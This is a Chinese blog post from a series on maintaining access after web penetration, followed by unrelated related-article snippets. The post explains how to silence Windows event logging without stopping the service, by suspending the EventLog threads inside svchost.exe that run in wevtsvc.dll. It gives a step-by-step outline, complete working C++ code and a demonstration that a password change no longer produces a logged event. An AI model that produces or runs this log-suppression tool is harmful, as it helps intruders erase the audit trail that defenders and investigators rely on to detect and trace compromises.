当前位置: 首页 > news >正文

WEB渗透权限维持篇-禁用Windows事件日志

 往期文章
WEB渗透权限维持篇-DLL注入\劫持-CSDN博客

WEB渗透权限维持篇-CLR-Injection-CSDN博客 

WEB渗透权限维持篇-计划任务-CSDN博客

WEB渗透权限维持篇-DLL注入-修改内存中的PE头-CSDN博客 

WEB渗透权限维持篇-DLL注入-进程挖空(MitreT1055.012)-CSDN博客

WEB渗透权限维持篇-MSSQL后门-CSDN博客

 WEB渗透权限维持篇-禁用Windows事件日志-CSDN博客

 

Windows事件日志由svchost.exe托管处理。EventLog
如果我们列出svchost进程,则会看到许多这样的进程:

image

从上面的屏幕截图中,尚不清楚哪个进程真正托管了该服务,但是如果我们继续在Process Hacker中逐个检查进程,我们最终将找到托管该服务的进程,当前为pid 2196:EventLog svchost.exe
通过以下命令获得eventlog的进程ID
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

image

如果我们查看的svchost.exe线程,则会看到

image

下面显示的是,确实,暂停足以使EventLog服务无法注册任何新事件:
没有挂起时修改个密码

image

会注册新的事件
挂起时则没有新的事件

image

代码实现
下面是在较高级别下工作的技术代码:
1.使用OpenSCManagerA命令打开服务控制管理器的句柄 
2.使用OpenServiceA命令打开EventLog服务的句柄 
3.使用QueryServiceStatusEx命令检索svchost.exe(托管EventLog)进程ID
4.打开svchost.exe进程的句柄(从第3步开始)
5.获取由svchost.exe加载的已加载模块的列表 EnumProcessModules
6.循环浏览在步骤5中检索到的已加载模块列表,使用查找其名称并找到模块的基地址-这是包含服务内部工作的模块
7.获取模块信息。它将返回带有模块的起始地址-我们稍后将在确定服务线程是否落入wevtsvc.dll模块的内存空间时需要这些详细信息wevtsvc.dll   GetModuleInformation EventLog
8.枚举svchost.exe内的所有线程。Thread32FirstThread32Next
9.对于步骤8中的每个线程,使用NtQueryInformationThread命令检索线程的起始地址 
10.对于步骤8中的每个线程,检查线程的起始地址是否属于svchost.exe内部的内存空间。wevtsvc.dll
11.如果线程的起始地址在内存空间内,则这是我们的目标线程,我们将其挂起wevtsvc.dll SuspendThread
12.EventLog 服务现已禁用
#include <iostream>
#include <Windows.h>
#include <Psapi.h>
#include <TlHelp32.h>
#include <dbghelp.h>
#include <winternl.h>
#pragma comment(lib, "DbgHelp")
using myNtQueryInformationThread = NTSTATUS(NTAPI*)(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT PULONG ReturnLength
);
int main()
{
HANDLE serviceProcessHandle;
HANDLE snapshotHandle;
HANDLE threadHandle;
HMODULE modules[256] = {};
SIZE_T modulesSize = sizeof(modules);
DWORD modulesSizeNeeded = 0;
DWORD moduleNameSize = 0;
SIZE_T modulesCount = 0;
WCHAR remoteModuleName[128] = {};
HMODULE serviceModule = NULL;
MODULEINFO serviceModuleInfo = {};
DWORD_PTR threadStartAddress = 0;
DWORD bytesNeeded = 0;
myNtQueryInformationThread NtQueryInformationThread = (myNtQueryInformationThread)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationThread"));
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
SC_HANDLE sc = OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
SC_HANDLE service = OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);
SERVICE_STATUS_PROCESS serviceStatusProcess = {};
# Get PID of svchost.exe that hosts EventLog service
QueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO, (LPBYTE)&serviceStatusProcess, sizeof(serviceStatusProcess), &bytesNeeded);
DWORD servicePID = serviceStatusProcess.dwProcessId;
# Open handle to the svchost.exe
serviceProcessHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, servicePID);
snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
# Get a list of modules loaded by svchost.exe
EnumProcessModules(serviceProcessHandle, modules, modulesSize, &modulesSizeNeeded);
modulesCount = modulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < modulesCount; i++)
{
serviceModule = modules[i];
# Get loaded module's name
GetModuleBaseName(serviceProcessHandle, serviceModule, remoteModuleName, sizeof(remoteModuleName));
if (wcscmp(remoteModuleName, L"wevtsvc.dll") == 0)
{
printf("Windows EventLog module %S at %p\n\n", remoteModuleName, serviceModule);
GetModuleInformation(serviceProcessHandle, serviceModule, &serviceModuleInfo, sizeof(MODULEINFO));
}
}
# Enumerate threads
Thread32First(snapshotHandle, &threadEntry);
while (Thread32Next(snapshotHandle, &threadEntry))
{
if (threadEntry.th32OwnerProcessID == servicePID)
{
threadHandle = OpenThread(MAXIMUM_ALLOWED, FALSE, threadEntry.th32ThreadID);
NtQueryInformationThread(threadHandle, (THREADINFOCLASS)0x9, &threadStartAddress, sizeof(DWORD_PTR), NULL);
# Check if thread's start address is inside wevtsvc.dll memory range
if (threadStartAddress >= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll && threadStartAddress <= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll + serviceModuleInfo.SizeOfImage)
{
printf("Suspending EventLog thread %d with start address %p\n", threadEntry.th32ThreadID, threadStartAddress);
# Suspend EventLog service thread
SuspendThread(threadHandle);
Sleep(2000);
}
}
}
return 0;
}
以下演示
net user ola ola执行并更改用户的ola密码,并在6:55:30 PM记录事件4724

image

image

执行文件,svchost.exe中暂停了4个EventLog线程

image

image

再次执行修改密码命令

image

image

新的事件没有写入,只有挂起前的事件

image

相关文章:

WEB渗透权限维持篇-禁用Windows事件日志

往期文章WEB渗透权限维持篇-DLL注入\劫持-CSDN博客 WEB渗透权限维持篇-CLR-Injection-CSDN博客 WEB渗透权限维持篇-计划任务-CSDN博客 WEB渗透权限维持篇-DLL注入-修改内存中的PE头-CSDN博客 WEB渗透权限维持篇-DLL注入-进程挖空(MitreT1055.012)-CSDN博客 WEB渗透权限维…...

【设计模式】Template Method伪代码

1. 不好的代码 1.1 lib.cpp class Library{ public:void Step1(){//...}void Step3(){//...}void Step5(){//...} };1.2 app.cpp class Application{ public:bool Step2(){//...}void Step4(){//...} };int main() {Library lib();Application app();lib.Step1();if(app.Ste…...

关于2023.9.2~2023.9.10学习总结与教训

关于2023.9.2~2023.9.10学习总结与教训 语文古诗文与古诗基础阅读作文 数学几综卷子 英语物理政治总结待寻找的学习方法需应用的学习方法 语文 古诗文与古诗 背诵岳阳楼记和醉翁亭记的经验告诉我&#xff0c;应该在背诵时附以抄写同时在背下来后还应该去默写纠错&#xff0c;…...

NLTK:Python自然语言处理工具包及其参数使用详解

NLTK&#xff08;Natural Language Toolkit&#xff09;是一个领先的平台&#xff0c;用于构建处理人类语言数据的Python程序。它提供了易于使用的接口&#xff0c;用于超过50个语料库和词汇资源&#xff0c;如WordNet&#xff0c;以及一套文本处理库&#xff0c;用于分类、标记…...

php 之 php-fpm 和 nginx结合使用

php-fpm php-fpm是php面试必问的一个小考点&#xff0c;聊这个之前还是要铺垫一下&#xff0c;cgi 和 fastcgi。 CGI&#xff0c;通用网关接口&#xff0c;用于WEB服务器&#xff08;比如 nginx&#xff09;和应用程序&#xff08;php&#xff09;间的交互&#xff0c;简单的…...

数学建模笔记——TOPSIS[优劣解距离]法

数学建模笔记——TOPSIS[优劣解距离法] TOPSIS(优劣解距离)法1. 基本概念2. 模型原理3. 基本步骤4. 典型例题4.1 矩阵正向化4.2 正向矩阵标准化4.3 计算得分并归一化4.4 python代码实现 TOPSIS(优劣解距离)法 1. 基本概念 C. L.Hwang和 K.Yoon于1981年首次提出 TOPSIS(Techni…...

证书学习(四)X.509数字证书整理

目录 一、X.509证书 介绍1.1 什么是 X.509证书?1.2 什么是 X.509标准?1.3 什么是 PKI?二、X.509证书 工作原理2.1 证书认证机构(CA)2.1 PKI 的基础——加密算法2.2 PKI 证书编码三、X.509证书 结构3.1 证书字段3.2 证书扩展背景: 我们在日常的开发过程中,经常会遇到各种…...

氚云,低代码领风者如何破解行业的“中式焦虑”?

To B生意“难做”&#xff0c;很多公司的苦恼都难以掩盖。 上半年&#xff0c;一个“中国软件行业全军覆没”的帖子引发热烈讨论&#xff0c;评论竟是赞同的居多。那些以实现上市为目标的SaaS公司&#xff0c;或者已经上市的、主营业务为To B的企业&#xff0c;其整体的业绩状…...

“深入解析:MySQL半同步复制的配置指南与实践技巧“

本次配置是在已搭建好主从复制的架构中进行配置 配置环境 操作系统 master节点 slave节点 centos7 8.0.37 8.0.37 配置半同步复制 配置master 安装master半同步复制插件 INSTALL PLUGIN rpl_semi_sync_source SONAME semisync_source.so; 在MySQL的配置文件中添加配置…...

第四届长城杯部分wp

还是太菜了&#xff0c;要经常练了 1.BrickGame 读源码可以看到时间的值是由js设定的&#xff0c;所以控制台将timeleft的时间改成999999 通过游戏就可以得到flag 2.SQLUP 一道文件上传的题目&#xff0c;在登陆页面我用admin和1登陆成功了&#xff0c;但是按照正常的应该是…...

打造无死角安防网:EasyCVR平台如何助力智慧警务实现视频+AI的全面覆盖

一、背景概述 随着科技的飞速发展&#xff0c;智慧城市建设已成为提升社会治理能力、增强公共安全水平的重要途径。在警务领域&#xff0c;智慧警务作为智慧城市的重要组成部分&#xff0c;正通过融合视频监控技术与人工智能&#xff08;AI&#xff09;解决方案&#xff0c;实…...

批发订货系统源码怎么弄 门店订货系统小程序价格

上线批发订货系统可以显著提升业务效率和管理水平&#xff0c;它能够帮助企业自动化处理订单、实时跟踪库存、简化订单管理、生成数据报表…这些优势能最终帮助你降低成本、提高效率&#xff0c;提升业务竞争力。今天&#xff0c;小编为您分享批发订货系统源码怎么弄。大家点赞…...

终端安全如何防护?一文为你揭晓答案!

终端安全防护是确保组织内部网络及其连接设备免受威胁的关键措施。 以下是终端安全防护的一些核心方法&#xff1a; 1. 资产管理与识别 摸清家底&#xff1a;识别所有连接到网络的终端设备及其状态&#xff0c;包括硬件和软件配置。 资产分类&#xff1a;确定哪些资产最为关…...

价值流架构指南:构建业务创新与竞争优势的全面方法论

如何通过价值流引领企业数字化转型&#xff1f; 在当前数字化转型的背景下&#xff0c;企业面临的挑战日益复杂化&#xff1a;如何更快响应市场变化&#xff1f;如何优化资源配置提升效率&#xff1f;如何确保客户体验始终处于行业领先&#xff1f;《价值流指南》由The Open G…...

知识蒸馏(Knowledge Distillation)

Distilling the Knowledge in a Neural Network 知识蒸馏原理 1、Summarize 知识蒸馏技术 通过从大型的教师模型向小型的学生模型转移知识来实现模型压缩和优化。 知识蒸馏的核心思想是 利用教师模型在大量数据上积累的丰富知识&#xff0c;通过特定的蒸馏算法&#xff0c;使…...

【zsh】Linux离线安装zsh

首先从GitHub下载源码&#xff0c;然后编译源码后安装。以下是具体的步骤&#xff1a; 1. 下载并解压源码 首先&#xff0c;从GitHub下载了zsh源码的压缩包并解压到某个目录&#xff1a; tar -xvf zsh-<version>.tar.gz cd zsh-<version>2. 安装编译所需的依赖&…...

一款好用的电子样本册转换器

在数字化时代&#xff0c;电子样本册已成为各行各业必备的工具。一款好用的电子样本册转换器&#xff0c;可以让你在繁杂的资料管理中轻松解脱。今天&#xff0c;就为大家推荐一款实用的电子样本册转换神器&#xff0c;让你的工作效率翻倍&#xff01; 工具推荐&#xff1a;FLB…...

TDesign:腾讯的开源企业级前端框架,能和ant-design一战吗?

TDesign 是一套拥有完整的 设计价值观 和 视觉风格指南 的企业级设计体系&#xff0c;同时提供了丰富的 设计资源。TDesign 在设计体系基础上产出基于 Vue、React、小程序等业界主流技术栈的组件库解决方案。是不是有点晚了&#xff1f; 请大家各抒己见。...

大语言模型LLM权重4bit向量量化(Vector Quantization)/查找表量化基本原理

参考 https://apple.github.io/coremltools/docs-guides/source/opt-palettization-overview.html https://apple.github.io/coremltools/docs-guides/source/opt-palettization-algos.html Apple Intelligence Foundation Language Models 苹果向量量化&#xff1a; DKM:…...

学习threejs,创建立方体,并执行旋转动画

文章目录 一、前言二、代码示例三、总结 一、前言 本文基于threejs&#xff0c;实现立方体的创建&#xff0c;并加入立方体旋转动画 二、代码示例 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>l…...

墨语灵犀镜像灰度发布:Kubernetes滚动更新无感升级实践

墨语灵犀镜像灰度发布&#xff1a;Kubernetes滚动更新无感升级实践 1. 引言&#xff1a;优雅升级的艺术挑战 在现代应用部署中&#xff0c;如何实现平滑无感的服务升级一直是个技术难题。特别是对于「墨语灵犀」这样注重用户体验的深度翻译工具&#xff0c;任何服务中断或体验…...

保姆级教程:在PVE上5分钟搞定一个Ubuntu LXC容器,并配置好Docker环境

5分钟极速部署&#xff1a;PVE上Ubuntu LXC容器与Docker环境全自动配置指南 刚接触家庭服务器的朋友往往被复杂的虚拟化环境劝退。今天分享的这套方案&#xff0c;能让你在PVE平台上用不到5分钟时间&#xff0c;快速获得一个开箱即用的Ubuntu容器&#xff0c;并预装好Docker环境…...

Comsol光子晶体:谷霍尔效应、单胞与超胞能带计算及谷单向传输

Comsol光子晶体谷霍尔效应。 单胞&#xff0c;超胞能带计算。 谷单向传输等。光子晶体玩拓扑这件事最近越来越上头。今天咱们撸起袖子直接干一个谷霍尔效应仿真&#xff0c;手把手教你在COMSOL里搞出单向传输这种神奇现象。先说重点&#xff1a;结构旋转6度就能打开带隙&#x…...

企业级消息通道架构实战:深度解析高性能钉钉机器人集成方案

企业级消息通道架构实战&#xff1a;深度解析高性能钉钉机器人集成方案 【免费下载链接】openclaw-channel-dingtalk A dingtalk bot channel plugin for clawdbot 项目地址: https://gitcode.com/gh_mirrors/op/openclaw-channel-dingtalk OpenClaw-Channel-DingTalk是…...

颈肩腰腿痛家庭护理,长春颈肩腰腿痛医院教你居家调理

对于轻度颈肩腰腿痛或慢性疼痛缓解期&#xff0c;家庭护理是重要的辅助治疗方式&#xff0c;无需专业设备&#xff0c;居家就能开展&#xff0c;核心是通过休息、热敷、按摩、姿势调整&#xff0c;缓解肌肉紧张和疼痛&#xff0c;预防病情加重。长春颈肩腰腿痛医院家庭护理建议…...

iOS证书(.p12)和描述文件生成避坑指南:从App ID创建到真机测试UDID添加

iOS证书与描述文件生成全流程解析&#xff1a;从核心概念到实战避坑 第一次接触iOS应用打包的开发者&#xff0c;往往会在证书和描述文件这一关卡住。明明按照教程一步步操作&#xff0c;却总是遇到各种报错——"证书无效"、"描述文件不匹配"、"设备未…...

Qt串口开发避坑指南:从QSerialPort基础到实战封装,解决粘包和跨平台问题

Qt串口开发避坑指南&#xff1a;从QSerialPort基础到实战封装 1. 串口开发的典型痛点与解决思路 嵌入式开发中&#xff0c;串口通信就像一位性格古怪的老朋友——看似简单却暗藏玄机。许多开发者第一次使用Qt的QSerialPort类时&#xff0c;往往会被其简洁的API迷惑&#xff0c;…...

CMake核心用法(贴合C++编译场景)

CMake是C项目中常用的跨平台构建工具&#xff0c;核心作用是&#xff08;如Makefile、VS项目文件&#xff09;&#xff0c;解决不同平台&#xff08;Windows、Linux、Mac&#xff09;编译差异的问题&#xff0c;尤其适合多文件、多目录的C项目&#xff08;比如包含构造函数、析…...

SPIRAN ART SUMMONER对比评测:与传统图像生成算法的效果差异

SPIRAN ART SUMMONER对比评测&#xff1a;与传统图像生成算法的效果差异 本文通过实际测试对比&#xff0c;展示SPIRAN ART SUMMONER与传统图像生成算法在效果、速度、易用性等方面的真实差异&#xff0c;用数据和案例说话。 1. 评测背景与方法 图像生成技术近年来发展迅猛&am…...

如何高效解析和生成PSD文件:Ag-PSD库完整指南

如何高效解析和生成PSD文件&#xff1a;Ag-PSD库完整指南 【免费下载链接】ag-psd Javascript library for reading and writing PSD files 项目地址: https://gitcode.com/gh_mirrors/ag/ag-psd 在当今数字设计工作流中&#xff0c;Photoshop文档&#xff08;PSD&#…...